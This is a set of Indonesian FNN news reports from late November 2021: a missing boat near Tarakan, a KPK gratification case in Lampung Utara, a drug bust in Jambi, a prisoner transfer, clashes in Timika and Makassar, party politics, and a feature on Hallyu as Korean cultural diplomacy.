Tarakan, FNN - Kapal Motor (KM) Subur Indah rute Tarakan - Pulau Sebatik, Nunukan, hilang kontak di sekitar perairan Pantai Amal, Tarakan, Kalimantan Utara. "Telah terjadi kecelakaan KM Subur Indah 'lost contact' di sekitar perairan Pantai Amal Kalimantan Utara pada hari Minggu (28/11)," kata Kasi Ops Kantor Pencarian dan Pertolongan (Kansar) Tarakan Dede Hariana di Tarakan, Senin. Kantor SAR Tarakan menerima laporan pada hari Senin dari pemilik kapal yakni Panguriseng. Pemilik kapal menginfokan bahwa pada Minggu (28/11) pukul 01.00 WITA kapal KM Subur Indah mengalami hilang kontak diperkirakan di perairan Pantai Amal. "Diketahui rute kapal KM Subur Indah memiliki rute dari Jembatan Besi, Tarakan ke Pulau Sebatik, Nunukan dengan muatan bahan bangunan dan jumlah penumpang sebanyak lima orang," kata Dede. Saat ini lima korban dalam pencarian yakni Tahir (30) merupakan nahkoda yang beralamat di Desa Bukit Aru Indah Kecamatan Sebatik Timur, Nunukan. Selain itu, empat anak buah kapal (ABK) yakni Erwin (35) beralamat Desa Sungai Bajo Kecamatan Sebatik Timur, Nunukan. Putra (25) dengan alamat Desa Sei Pancang Kecamatan, Sebatik Utara, Nunukan. Iksan (25) yang beralamat di Jembatan Besi, Tarakan dan Sudi (40) yang alamat di Kampung Sinjai, Desa Lapri Kecamatan Sebatik Utara, Nunukan. "Saat ini sudah memberangkatkan satu tim pencarian dan pertolongan dengan enam personel serta berkoordinasi dengan potensi di lapangan," kata Dede. (sws)

KPK Panggil Dua Anggota DPRD Lampung Utara Terkait Kasus Gratifikasi

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Senin memanggil dua Anggota DPRD Kabupaten Lampung Utara Arnold Alam dan Nurdin Habim dalam penyidikan kasus dugaan gratifikasi di Pemerintah Kabupaten Lampung Utara, Lampung. Keduanya dipanggil sebagai saksi untuk tersangka Akbar Tandaniria Mangkunegara (ATMN) selaku Aparatur Sipil Negara (ASN) yang juga adik mantan Bupati Lampung Utara Agung Ilmu Mangkunegara. "Senin, bertempat di Kantor BPKP Perwakilan Provinsi Lampung, tim penyidik mengagendakan pemanggilan saksi untuk tersangka ATMN," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. Selain dua anggota DPRD tersebut, KPK juga memanggil seorang saksi lainnya untuk tersangka Akbar, yaitu Hanizar Habim selaku wiraswasta/Direktur CV Abung Timur Perkasa. Dalam konstruksi perkara, KPK menyebut tersangka Akbar sebagai representasi (perwakilan) dari Agung Ilmu Mangkunegara selaku Bupati Kabupaten Lampung Utara periode 2014-2019, berperan aktif untuk ikut serta dan terlibat dalam menentukan pengusaha yang mendapatkan bagian alokasi proyek yang ada di Dinas PUPR Lampung Utara untuk kurun waktu 2015 sampai dengan 2019. Agung diketahui telah ditetapkan tersangka oleh KPK dalam perkara suap terkait proyek di Dinas PUPR dan Dinas Perdagangan Kabupaten Lampung Utara dan saat ini perkaranya telah berkekuatan hukum tetap. Dalam setiap proyek tersebut, tersangka Akbar dengan dibantu oleh Syahbudin, Taufik Hidayat, Desyadi, dan Gunaidho Utama sebagaimana perintah dari Agung dilakukan pemungutan sejumlah uang (fee) atas proyek-proyek di Lampung Utara. Realisasi penerimaan "fee" tersebut diberikan secara langsung maupun melalui perantaraan Syahbudin, Raden Syahril, Taufik Hidayat, dan pihak terkait lainnya kepada tersangka Akbar untuk diteruskan ke Agung. Diketahui, Syahbudin merupakan mantan Kepala Dinas PUPR Kabupaten Lampung Utara. Sementara Raden Syahril adalah orang kepercayaan Agung. Selama kurun waktu 2015-2019, tersangka Akbar bersama-sama dengan Agung, Raden Syahril, Syahbudin, dan Taufik Hidayat diduga menerima uang seluruhnya berjumlah Rp100,2 miliar dari beberapa rekanan di Dinas PUPR Kabupaten Lampung Utara. Selain mengelola, mengatur, dan menyetor penerimaan sejumlah uang dari paket pekerjaan pada Dinas PUPR untuk kepentingan Agung, tersangka Akbar diduga juga turut menikmati sekitar Rp2,3 miliar untuk kepentingan pribadinya. Atas perbuatannya, Akbar disangkakan melanggar Pasal 12B atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP jo Pasal 65 KUHP. (sws)

BNN Jambi Tangkap Dua Pelaku Jaringan Narkoba Antarprovinsi

Jambi, FNN - Petugas Badan Narkotika Nasional (BNN) Provinsi Jambi menangkap dua pelaku narkoba jaringan antar-lintas provinsi dengan barang bukti dua kilogram sabu dan ratusan pil ekstasi. Penangkapan bandar dan kurir sabu dan ekstasi di jalan Lintas Timur Sumatera tepatnya di kawasan Merlung, petugas sempat menutup jalan dengan menggunakan kendaraan mobil truk dan mengeluarkan belasan tembakan peringatan kepada pelaku karena mencoba melarikan diri putar balik ke arah Pekanbaru, Riau, kata Kabid Berantas BNN Provinsi Jambi, Guntur Ario Tejo, melalui keterangan resminya yang diterima di Jambi, Senin. Aksi penangkapan kurir dan bandar besar sabu-sabu oleh Badan Narkotika Nasional Provinsi (BNNP) Jambi, di Jalan Lintas Timur Sumatera, perbatasan Jambi-Riau, Suban, Tungkal Ulu, Minggu (28/11). Kedua tersangka yang berhasil ditangkap tersebut adalah Beni Haryanto (kurir) dan bosnya bernama Jon Kuswadi alias Wadi (bandar/pemilik sabu dan ekstasi). Kedua pelaku berhasil dibekuk petugas BNN di dua lokasi berbeda setelah berjibaku melakukan pemantauan sejak Sabtu dan akhirnya pada Minggu malam berhasil menangkap kedua pelaku dengan barang bukti 2 kg narkotika jenis sabu-sabu dan 100 pil ekstasi. Di lokasi awal, tidak jauh dari Pos PJR Unit VI Ditlantas Polda Jambi, petugas terlebih dahulu menangkap tersangka Beni pada pukul 01.37 WIB. Saat itu, Beni bersama satu orang rekannya melaju dari arah Pekanbaru menuju Jambi dengan mengendarai mobil Pajero Sport. Mendapat informasi, tim bergerak cepat, laju kendaraan keduanya dihentikan dengan truk yang langsung diparkir melintang di badan jalan, tepat di depan Pos PJR, dan dibantu oleh satu Personel PJR Polda Jambi. Melihat kondisi tersebut, Beni yang saat itu mengendarai mobil langsung memutar arah, dengan kecepatan tinggi, kendaraan nya langsung masuk ke kawasan perumahan warga, namun, petugas yang saat itu sedang melakukan pengejaran langsung menghalangi laju kendaraan Beni. Beni berhasil dibekuk tanpa perlawanan berarti dan dilokasi, petugas langsung melakukan pengembangan dan diketahui pemilik dua kg sabu-sabu dan pil ekstasi tersebut sedang menunggu dan berada di sebuah 'base camp', di wilayah Merlung. Tim kembali bergerak sekira 30 menit dari TKP dan berhasil menangkap Jon Kuswadi alias Wadi bersama empat orang lainnya, yang diduga sebagai anak buah dari Wadi. Di lokasi petugas turut amankan sejumlah timbangan digital dan timbangan manual. Usai memeriksa seluruh isi Base Camp, petugas langsung membakar 'Base Camp' tersebut, yang diakui Wadi merupakan 'Base Camp' pribadinya. "Ya jadi kita amankan kurir dan bandar dua kg sabu-sabu dan ribuan pil ekstasi, yang dimana diketahui barang tersebut dijemput dari wilayah Pekanbaru," kata Guntur Aryo Tejo yang memimpin langsung operasi penangkapan itu. (sws)

Kanwilkumham Jatim Pindahkan 34 Narapidana Risiko Tinggi

Surabaya, FNN - Kanwil Kemenkumham Jatim memindahkan 34 warga binaan pemasyarakatan atau narapidana risiko tinggi ke Lapas Nusa Kambangan. "Ada 34 orang dan semuanya kategori risiko tinggi atau high risk. Proses pemindahan dilakukan sejak Sabtu (27/11)," ujar Kepala Kanwil Kemenkumham Jatim Krismono dalam siaran pers yang diterima di Surabaya, Senin. Krismono menjelaskan bahwa pemindahan ini menjadi langkah strategis yang dilakukan jajarannya untuk menjaga keamanan dan ketertiban di lapas atau rutan. Sebelum ke Nusa Kambangan, kata dia, para narapidana dikumpulkan di Lapas I Madiun sebagai tempat transit. Para narapidana kemudian dikawal Tim Divisi Pemasyarakatan Kanwil Kemenkumham Jatim. "Yakni lima petugas Lapas I Madiun dan 1 peleton pasukan Batalyon C Sat Brimob Polda Jatim Pelopor Madiun," ujarnya. Ia mengatakan, tim dipimpin langsung Kepala Lapas I Madiun Asep Sutandar dan dipindahkan dengan menggunakan armada bus pariwisata 60 tempat duduk. "Narapidana sekitar pukul 22.00 WIB diberangkatkan dari Lapas I Madiun ke Nusa Kambangan," lanjut Krismono. Para narapidana tersebut berasal dari berbagai lapas atau rutan di Jatim di antaranya Lapas I Malang, Lapas IIA Pamekasan, Lapas Narkotika IIA Pamekasan, Lapas IIA Jember, Lapas Lumajang, dan Rutan I Surabaya. "Sebanyak 26 di antaranya merupakan narapidana kasus narkotika dan sisanya adalah pelaku kriminal umum," ujarnya. Pemindahannya, lanjut Krismono berdasarkan Surat Direktur Jenderal Pemasyarakatan Nomor PAS-PK.01.05.08 - 1516 Tanggal 11 November 2021 dan Nomor PAS -PK.01.05.08 - 1590 Tanggal 22 November 2021. "Kantor Wilayah sebelumnya sudah mendapatkan persetujuan dari Ditjen Pemasyarakatan," ujarnya. (sws)

Keributan TNI-Polri di Timika Karena Salah Paham Berakhir Damai

Jakarta, FNN - Kapolda Papua Irjen Pol Marthinus D Fakhiri mengatakan insiden perkelahian antara anggota Polri dan TNI di Tembagapura, Timika, telah diselesaikan secara damai. Ia menyebutkan, insiden tersebut hanya kesalahpahaman saja, bukan bentrok atau keributan besar. "Tidak ada bentrok, salah paham saja itu. Sudah diselesaikan, sudah berdamai," ujar Marthinus saat dikonfirmasi di Jakarta, Senin. Video diduga keributan antar anggota TNI tergabung dalam Satgas Nanggala Kopassus dan anggota Polri dari Satgas Amole di Kabupaten Mimika beredar di media sosial. Menurut Mathinus, Satgas Nanggala dan Satgas Amole, sama-sama berada di bawah Operasi Satgas Nemangkawi. "Nanggala juga kan itu di bawah Kapolda, karena di bawah Operasi Nemangkawi. Amole juga sama di bawah Kapolda, sudah diselesaikan langsung," kata Marthinus. Marthinus tidak merinci soal adanya korban dalam perkelahian tersebut, namun dia memastikan permasalahan sudah diselesaikan. "Korban luka-luka biasa saja. sudah diselesaikan. Tidak masalah ya. Insyaallah aman-aman saja," katanya menerangkan. Berdasarkan siaran pers Humas Polda Papua, peristiwa kesalahpahaman tersebut terjadi Sabtu (27/11) bertempat di Ridge Camp Pos RCTU Mile 72 tepat di depan Mess Hall, Timika, Papua. Kesalahpahaman tersebut berawal dari enam personel Satgas Amole Kompi 3 yang berada di Pos RCTU Ridge Camp Mile 72 yang sedang berjualan rokok. Selanjutnya tiba Personel Nanggala Kopassus sebanyak 20 orang membeli rokok dan komplain mengenai harga rokok yang dijual personel Amole Kompi 3 Penugasan. Selanjutnya dan pengeroyokan dengan menggunakan benda tumpul dan tajam terhadap enam Personel Amole Kompi 3 Penugasan. Dalam keterangan pers tersebut, Kabid Humas Polda Papua Kombes Pol Ahmad Musthofa Kamal mengatakan kasus tersebut merupakan kesalahpahaman antara personil Satgas Nanggala Kopassus dengan Satgas Amole. Pimpinan masing-masing setelah menerima laporan, langsung berkoordinasi untuk menyelesaikan kesalahpahaman tersebut. Saat ini permasalahan tersebut telah diselesaikan secara damai. "Selanjutnya, tindakan disiplin terhadap mereka yang terlibat perkelahian akan tetap dilakukan," kata Kamal. Pasca kejadian tersebut situasi di Kabupaten Mimika khususnya di Ridge Camp Pos RCTU Mile 72 tepat di depan Mess Hall, Timika, Papua aman dan kondusif. (sws)

Polisi Kejar Otak Pertikaian Mahasiswa Bone-Luwu di Makassar

Makassar, FNN - Pihak kepolisian tengah mengejar pelaku serta otak dari pertikaian antarmahasiswa asal Bone dan Luwu Raya yang berujung pada perbuatan kriminal, penyerangan disertai pembakaran hingga penganiayaan di asrama masing-masing pada Minggu (28/11) di Makassar, Sulawesi Selatan. "Segera menindak tegas oknum pelaku saat kejadian kemarin malam maupun yang sebelumnya (di kampus UIN Alauddin Samata) ," tegas Kapolrestabes Makassar, Kombes Pol. Witnu Urip Laksana di Makassar, Senin. Guna mengantisipasi kejadian tersebut tidak berulang, kata dia, diperintahkan tim berpatroli termasuk mengungkap dan menangkap otak dibalik penyerangan asrama itu dilakukan orang tidak dikenal sesegera mungkin. Kapolrestabes juga menyampaikan turut prihatin dan menyesalkan kejadian saling serang antara oknum mahasiswa yang mengatasnamakan dari Palopo (Luwu) dan Bone, sehingga menimbulkan keresahan di tengah masyarakat. "Kami mengimbau kepada mahasiswa yang merasa ketakutan, agar tetap tetap tenang. Jangan mudah terpengaruh oleh isu-isu tidak benar, " ujarnya. "Saya minta kepada para tokoh dari kedua belah pihak, hentikan pertikaian ini. Apabila masih terjadi, saya akan mengambil tindakan tegas dan terukur," kata Witnu kembali menegaskan. Penegasan itu disampaikan menyusul kejadian penyerangan orang tak dikenal pada Minggu (28/11) dini hari ke Asrama Ikatan Pelajar Mahasiswa Indonesia Luwu (IPMIL) Palopo di Jalan Sungai Limboto, diduga buntut dari kejadian penganiayaan seorang mahasiswa Bone di kampus UIN Alauddin Samata Gowa. Imbasnya, seorang mahasiswa taruna pelayaran yang tidak bersalah saat itu berada di dalam asrama mengalami luka berat, pergelangan tangan kirinya terputus terkena sabetan parang. Selang beberapa jam kemudian, Asrama Kesatuan Pelajar Mahasiswa Indonesia (KEPMI) Bone di Jl Gunung Salahutu Makassar, pun menjadi sasaran OTK. Pelaku melempari asrama itu dengan batu disertai bom molotov hingga membakar ruangan. Beruntung tidak ada korban saat kejadian tersebut sekitar Minggu (28/11) subuh. Wali Kota Makassar Moh Ramdhan Pomanto pada pertemuan dengan tokoh dari Luwu dan Bone beserta unsur Forkopimda memerintahkan, semua camat , lurah segera mengantisipasi eskalasi perkelahian antarkedua mahasiswa organisasi itu. Semua asrama dan tempat kos mereka dijaga ketat dan dipantau 24 jam. "Camat, lurah terus menjaring informasi serta tetap melaporkan perkembangan ke Kesbangpol dan pihak kepolisian. Diharapkan camat, lurah berperan menenangkan kelompok yang bertikai. Dan tidak provokatif apalagi menyebarkan berita hoaks," papar Danny Pomanto. Sebelumnya, sejumlah tokoh asal Luwu, Palopo dan Bone beserta pihak TNI-Polri termasuk Wali Kota Makassar mengelar pertemuan untuk mencari solusi atas pertikaian kedua mahasiswa itu agar tidak meluas dan berlarut-larut. Aparat Kepolisian bersama TNI pun memastikan kondisi Makassar sangat kondusif. (sws)

Muzani: Terbuka Kerja Sama Gerindra-PDIP di Pilpres 2024

Jakarta, FNN - Sekretaris Jenderal DPP Partai Gerindra Ahmad Muzani mengatakan partainya terbuka untuk menjalin kerja sama dengan PDI Perjuangan di Pemilu Presiden (Pilpres) 2024. Dia mengatakan, kerja sama tersebut untuk mewujudkan cita-cita Partai Gerindra yaitu menjadikan Ketua Umum Partai Gerindra Prabowo Subianto sebagai presiden. "Kita sama-sama bercita-cita membangun Indonesia dan membela kepentingan rakyat, kenapa kita tidak bekerja sama untuk mencapai tujuan itu. Untuk apa kita 'pengkerengan' yang membuat kegaduhan, padahal bisa bekerja sama," kata Muzani dalam keterangannya di Jakarta, Senin. Hal itu disampaikan Muzani saat meresmikan kantor DPC Gerindra Kota Semarang, Minggu (28/11). Dia mengatakan kerja sama yang dijalin Gerindra dan PDIP pernah mengalami fase pasang-surut, misalnya di tahun 2009 kedua partai tersebut menjalin kerja sama. Namun menurut dia, di tahun 2014 Gerindra memilih menjadi oposisi dan saat ini kembali bersama dalam koalisi pemerintahan Presiden Joko Widodo-Wakil Presiden Ma'ruf Amin. "Dan ke depan kita ingin bekerja sama lagi untuk membesarkan dan membangun Indonesia," ujarnya. Wakil Ketua MPR RI itu mengatakan, Indonesia secara geografis adalah negara besar dengan jumlah penduduk sebesar 270 juta dan sekitar 17 ribu pulau, sehingga tidak mungkin satu kekuatan bisa menjangkau seluruhnya. Karena itu menurut Muzani, yang menyebabkan semua kekuatan politik harus bekerja sama membangun masa depan Indonesia dan menyatukan diri dalam satu kekuatan karena PDIP dan Gerindra adalah kekuatan besar. "Kita harus terus merawat kebhinekaan dan keberagaman bangsa sebagai kekuatan kita. Maka, kita harus menjadi kekuatan perekat bersama dengan kekuatan politik lainnya," ujarnya. Selain itu dia mengatakan, Jawa Tengah adalah provinsi yang memiliki geopolitik yang khas karena sejak Pemilu 1999 sampai 2019, PDIP selalu mendominasi Jateng sebagai pemenang pemilu. Hal itu menurut dia berbeda dengan provinsi lainnya di Pulau Jawa yaitu antar Gerindra dan PDIP selalu bergantian sebagai pemenang dalam setiap pemilu. "Gerindra Jateng harus belajar bagaimana PDIP Jateng mengelola kepercayaan rakyat sehingga selalu menang dalam setiap pemilu," katanya. Muzani berharap Kantor DPC Gerindra Kota Semarang yang baru diresmikan diharapkan menjadi tempat memikirkan nasib rakyat dan kemajuan Kota Semarang. Menurut dia, kepentingan rakyat harus dilindungi dan diperjuangkan para wakilnya, jika hal itu sungguh-sungguh dikerjakan partai, maka akan menyebabkan rakyat kepercayaan rakyat tidak luntur pada suatu partai. (sws)

Melihat "Hallyu" Sebagai Diplomasi Budaya Korea Selatan

Jakarta, FNN - Grup K-Pop BTS (Bangtan Boys) dinobatkan sebagai "Artist of the Year" dalam ajang American Music Awards (AMAs) 2021 yang berlangsung di Los Angeles, Amerika Serikat pada Minggu (21/11). AMAs adalah salah satu acara penghargaan berdasarkan pemilihan suara penggemar terbesar di dunia. Selain mengalahkan nama-nama besar seperti Ariana Grande, Drake, Olivia Rodrigo, Taylor Swift, dan The Weeknd untuk menjadi "Artist of the Year", BTS juga mendapat dua penghargaan lain yaitu Favorite Pop Duo or Group dan Favorite Pop Song dengan lagu "Butter". Kelompok beranggotakan tujuh pemuda asal Korea Selatan itu juga menjadi satu-satunya "perwakilan" Asia yang memenangi gelaran penghargaan musik di benua Amerika. "Kami tujuh anak laki-laki dari Korea disatukan oleh kecintaan pada musik, bertemu cinta dan dukungan dari ARMY di seluruh dunia. Semua ini adalah keajaiban. Serius, kami tidak akan pernah menganggap sepele (kemenangan) ini," kata pemimpin BTS, Kim Nam Joon alias Rap Monster (RM) saat menerima penghargaan. "ARMY" yang dimaksud oleh RM adalah kelompok penggemar BTS yang menurut majalah Time pada 2020 mencapai sekitar 40 juta orang yang tersebar di berbagai negar. Penghargaan AMAs tersebut menambah panjang rentetan penghargaan yang diterima oleh grup yang memulai debut pada 2013 tersebut. BTS di industri musik AS makin bersinar setelah merilis lagu "Dynamite" (2020). Lagu tersebut menduduki peringkat satu Billboard Hot 100, menjadikan mereka menjadi grup Korea Selatan pertama yang mencapai rekor tersebut. BTS selanjutnya terus merilis beberapa lagu hits, antara lain "Butter" dan "Permission to Dance". "Butter" dari BTS juga menjadi Song of the Summer pada 2021 di Billboard Hot 100 dan berhasil berada di posisi pertama Billboard Hot 100 selama 10 minggu. Sebelumnya, ketujuh personel BTS yaitu RM, J-Hope, Jin, Suga, Jimin, V dan Jungkook juga berpidato bersama selama 7 menit di ruang sidang Majelis Umum Perserikatan Bangsa-Bangsa, New York pada 20 September 2021. BTS menjadi Utusan Khusus Presiden Korea Selatan untuk Urusan Generasi Masa Depan dan Budaya. Presiden Korsel Moon Jae In mengakui kekuatan BTS bersama Adorable Representative MC for Youth (ARMY) yang berjumlah puluhan juta di berbagai negara dapat dimanfaatkan untuk kampanye Social Development Goals (SDGs). "Generasi Corona bukan 'generasi yang hilang' tapi 'generasi penyambutan', itu lebih tepat istilahnya karena bukannya takut akan perubahan, generasi ini mengatakan 'selamat datang' dan terus maju," kata Kim Seok Jin atau Jin, personel BTS dalam bahasa Korea saat sidang Majelis Umum PBB. BTS mengajak dunia, khususnya generasi muda memikirkan kondisi dunia saat ini terutama dampak pandemi COVID-19 yang menyebabkan lebih dari 4,5 juta jiwa meninggal sehingga muncul ancaman generasi hilang. Menghadapi hal tersebut, RM berpesan agar generasi muda terus mempercayai harapan. "Jika kita percaya pada kemungkinan dan harapan bahkan ketika hal yang tak terduga terjadi, kita tidak akan kehilangan arah, tapi menemukan (arah) yang baru," kata RM atau Kim Nam Joon. Setelah mereka berpidato, dalam sidang tersebut ditayangkan video lagu BTS berjudul "Permission to Dance". Video tersebut menampilkan RM dan kawan-kawannya menyanyi sambil menari, menyusuri Assembly Hall dan kompleks gedung PBB hingga halaman luar dengan pemandangan ke arah East River yang tentu mengajak para pendengar dan penonton untuk berjingkrak mengikuti irama cepat lagu "Permission to Dance". Pengakuan pasar internasional terhadap BTS membuktikan dampak "Hallyu" (Korean wave) yang masih berlangsung saat ini. Perjalanan "Hallyu" Perjalanan "Hallyu" menurut dosen International Studies di Korea University Andrew Eungi Kim bukanlah kesuksesan yang diraih dalam semalam. "Hallyu dimulai setidaknya sudah sejak tiga dekade lalu yaitu saat pemerintahan Presiden Kim Dae Jung (1998-2003). Presiden Kim mendapat laporan bahwa nilai penjualan film Jurasic Park sama seperti penjualan ekspor mobil Hyundai pada tahun yang sama, lalu Presiden Kim berpikir bahwa kami (Korea) harus melakukan sesuatu mengenai 'popular culture' ini karena bisa menghasilkan uang yang setara dengan ekspor mobil," kata Kim dalam diskusi bertajuk "Hallyu and Its Impacts on Korea's Cultural Diplomacy" melalui sambungan konferensi video di Jakarta, Jumat. Andrew Eungi Kim menyampaikan hal tersebut dalam program "The Indonesian Next Generation Journalist Network on Korea" yang digelar oleh Foreign Policy Community of Indonesia (FPCI) bekerja sama dengan Korea Foundation Jakarta. "Jadi itulah momen saat pemerintahan Korea berganti fokus dari manufaktur ke bidang lain," tambah Kim. "Hallyu" sendiri menurut Kim merujuk pada penyebaran popularitas budaya Korea ke berbagai penjuru dunia mulai awal abad ke-21. Awalnya dimulai dari popularitas drama Korea di negara-negara Asia lalu ke belahan dunia lain dan bahkan menjadi fenomena global saat ini. "Korea Selatan saat ini menjadi salah satu pengekspor budaya utama setelah Amerika Serikat, Inggris dan Jepang," ungkap Kim. Pakar Hubungan Internasional Universitas Harvard Joseph Nye mengatakan "Hallyu" adalah sebagai gelombang popularitas atas segala hal terkait Korea mulai dari fesyen, film, musik hingga makanan. "Beberapa makanan mendunia karena lezat atau ada banyak kaum diaspora di negara tertentu, tapi ada juga makanan menjadi populer di negara lain karena budaya negara asal makanan tersebut tampak keren di mata masyarakat negara lain. Contohnya makanan Jepang populer di AS karena budaya Jepang tampak 'fancy', masyarakat AS suka budaya film soal samurai, ninja dan lainnya, itulah yang terjadi dengan makanan Korea saat ini," jelas Kim. Kim lalu membagi perjalanan "Hallyu" ke tiga babak yaitu "Hallyu 1.0" periode 1995-pertengahan 2000-an, "Hallyu 2.0" periode pertengahan 2000-an - akhir 2010 dan "Hallyu 3.0" pada saat ini hingga selanjutnya. Korea Selatan menjadi negara pengekspor drama (sinetron) kelima terbesar di dunia bersama-sama Amerika Serikat, Inggris, Spanyol dan Argentina. Fokus "Hallyu 1.0" menurut Kim lebih pada drama Korea (K-drama) seperti Winter Sonata (2002), Jewel in the Palace/Daejanggeum (2003-2004), My Sassy Girl (2001) yang tersebar di China, Taiwan, Jepang. Selanjutnya "Hallyu 2.0" menunjukkan popularitas dari grup K-pop seperti H.O.T, Rain, Super Junior, Big Bang, Wonder Girls, 2PM, TVXQ, Psy, EXO, Black Pink, SuperM hingga BTS. Lagu-lagu dan penampilan grup K-Pop tersebut menyebar ke negara-negara lain di Asia hingga Amerika Utara dan Eropa. Kim menyebut, berdasarkan data Statista (2018), Produk Domestik Bruto Korea Selatan adalah sebesar 1.619 miliar dolar AS. Dari jumlah tersebut, Samsung menyumbang 211,94 miliar dolar AS (13,1 persen), Hyundai sebesar 85,26 miliar dolar AS (5,3 persen), LG Electronics sebesar 54,31 miliar dolar AS (3,4 persen), KIA senilai 47,36 miliar dolar AS (2,9 persen), Korean Air senilai 11,65 miliar dolar AS (0,7 persen) dan BTS 4,56 miliar dolar AS (0,3 persen). "Jumlah uang yang dihasilkan BTS pada 2018 tersebut bahkan lebih besar dibanding total PDB 40 negara termiskin di dunia termasuk Somalia, Burundi, Liberia, Bhutan dan Sudan Selatan. Bayangkan besarnya pendapatan BTS tersebut," ungkap Kim. Kim juga menyebut BTS sebagai "The Beatles in 21st century" atau artis penampil terbesar saat ini. Sedangkan Hallyu 3.0 adalah terkait gaya hidup Korea (K-lifestyle) seperti "game online", kosmetik, makanan, fesyen, animasi. Gim daring contohnya Battlegrounds sedangkan Kosmetik seperti Lineage, IOPE, Amorepacific, Nature Republic yang menyebar ke berbagai dunia melalui media sosial dan Youtube. Dampak "Hallyu" Kim pun menyebutkan sejumlah dampak lanjutan dari "Hallyu" yaitu pertama, meningkatnya ekspor konten budaya Korea. Total nilai konten budaya Korea yang diekspor pada 2017 adalah mencapai 6,7 miliar dolar AS atau meningkat lima kali lipat dibanding 2005. Bentuk konten yang diekspor adalah games (3,77 miliar dolar AS), karakter (0,64 miliar dolar AS), pengetahuan (0,63 miliar dolar AS), musik (0,5 miliar dolar AS), broadcasting (0,42 miliar dolar AS), film (43 juta dolar AS) dan produk lainnya. Dampak lain adalah peningkatan turis internasional ke Korea Selatan yang pada 2016 ada 17,2 juta turis asing atau meningkat 3 kali lipat dibanding pada 2000. Selanjutnya Korea Selatan pun mendapat citra yang positif karena popularitas "Hallyu" yang tampak dari meningkatnya minat untuk belajar bahasa dan budaya Korea serta permintaan untuk pembukaan mata kuliah Korea di universitas luar negeri. Kim juga menyebut dengan adanya "Hallyu", banyak orang Asia akhirnya menemukan bintang pop internasional yang tampak terkoneksi sebagai "sesama" Asia dibanding artis dari Amerika atau orang Barat. "TV dan film produk AS juga mulai menjadikan aktor Asia sebagai 'spotlight' karena ada keyakinan 'cool to be an Asian' dari yang tadinya orang Asia tidak dianggap," ungkap Kim. Namun Kim mengingatkan meski "Hallyu" tampak "powerfull" tapi tidak berarti langsung memberikan dampak positif bagi "soft power" Korea Selatan. Kim, mengutip Nye, mengatakan konsep "soft power" adalah konsep yang masih kabur sehingga sulit untuk diukur mana negara yang memiliki lebih banyak atau lebih sedikit "soft power". "Soft power" sendiri menurut Nye adalah kemampuan untuk mendapatkan sesuatu melalui daya tarik dan bukan melalui paksaan atau bayaran. "'Hallyu' atau 'Korean wave' paling bisa dipahami sebagai cara yang diambil oleh pemerintah Korea untuk mengambil ceruk penting dalam berbagai kebijakan dalam relasi Korea dengan negara lain," ungkap Kim. Namun Kim sendiri menegaskan bukan berarti Hallyu yang merupakan produk budaya Korea tidak penting dalam diplomasi Korea dengan negara-negara lain. Menurut Kim, diplomasi budaya melalui Hallyu tetap penting sejauh untuk mendorong pemahaman bersama mengenai budaya negara yang satu dengan negara lain. Namun bila fokus diplomasi budaya untuk menjadikan satu budaya lebih menarik dibanding yang lain sehingga negara yang satu mau mengikuti kemauan negara lainnya, hal tersebut belum dapat dipastikan efektivitasnya. "Saya pikir hal tersebut tidak akan terjadi," kata Kim saat diminta pendapatnya apakah Hallyu dapat mengubah kebijakan suatu negara terhadap Korea Selatan. Alasannya, meski "Hallyu" sangat populer di China namun pemerintah China tetap menerapkan larangan bagi agen perjalanan untuk menjual paket wisata ke Korea Selatan (pada 2017). "Artinya bila terkait dengan kepentingan nasional, popularitas budaya bukan menjadi pertimbangan karena kepentingan nasional menjadi prioritas," ungkap Kim. Untuk menyokong "Hallyu", pemerintah Korea Selatan memang mendirikan agensi untuk mendorong ekspor budaya Korea pada 2000 yaitu Center for Promotion of Cultural Industry dan mentranfromasinya jadi Korea Creative Content Agency (KOCCA) pada 2009 untuk mencari pasar bagi budaya Korea. "Pemerintah Korea tidak pernah memberikan subsidi finansial ke satu artis tertentu. Pemerintah lebih membantu untuk menemukan outlet tepat untuk ekspor budaya Korea. Sangat besar perbedaan antara memberikan insentif pendanaan ke artis Korea dan mempromosikan konten budaya Korea ke pembeli potensial," ungkap Kim. Menurut Kim, pemerintah Korea lebih fokus mempromosikan konten budaya Korea sebagai produk potensial untuk diekspor. "Pemerintah Korea sendiri tidak pernah memproyeksikan 'Hallyu' akan jadi seberapa besar, bahkan pemerintah Korea juga terkejut dengan besarnya dampak BTS. Kebesaran BTS bukan karena kerja pemerintah atau agensi tapi karena reaksi fansnya," ungkap Kim. Kim menyebut fans BTS yang disebut Army adalah faktor yang sangat penting. Fans K-pop menurut Kim tidak ada tandingannya dengan fans dari genre musik lain karena mereka sangat menurut kepada idolanya. "Bila ada lagu baru yang dikeluarkan grup K-pop idola mereka maka para fans berupaya untuk menonton video di Youtube atau memutar di 'platform' musik online sesering mungkin sehingga 'viewer' bertambah dan perhatian media juga tertuju pada lagu tersebut. Jadi memang kelakuan fans bisa dianggap tidak normal dibandingkan misalnya dengan fans kelompok rock di AS," jelas Kim. Lantas apa pelajaran yang didapat dari perjalanan "Hallyu" tersebut? Kim menyebut sejumlah negara menyamakan "budaya" dengan "kreativitas", maksudnya untuk menekankan pentingnya kreativitas di dalam budaya. "Bila Indonesia seperti Korea Selatan pada 20 tahun lalu, semua anggaran, semua sumber daya untuk menjaga budaya tradisional, karena memang pemerintah biasanya cenderung hanya melihat ke dalam yaitu untuk melindungi tradisi budaya. Padahal budaya tidak hanya soal melindungi tapi soal menciptakan," ungkap Kim. Kim mencontohkan "blue jeans" dan "coke" yang terkenal dari Amerika Serika, disukai dunia, meski keduanya bukan asli budaya AS. "Mereka baru diciptakan di AS, itulah kekuatan 'creation' (menciptakan) dalam budaya, bukan preservation (memelihara). Maka pemerintah pun perlu lebih banyak memfokuskan anggaran untuk usaha-usaha kreatif di bidang budaya," tegas Kim. Artinya, meski belum ada studi ilmiah mengenai dampak popularitas BTS untuk mempromosikan poin-poin Sustainable Development Goals (SDGs), tapi BTS terbukti cukup membuat masyarakat global "sadar" mengenai kekuatan "Hallyu" yang mengajak badan menari meski masih dikelilingi pandemi. (sws)

Pemprov Sulsel Buka Lelang Jabatan Eselon II Secara Daring

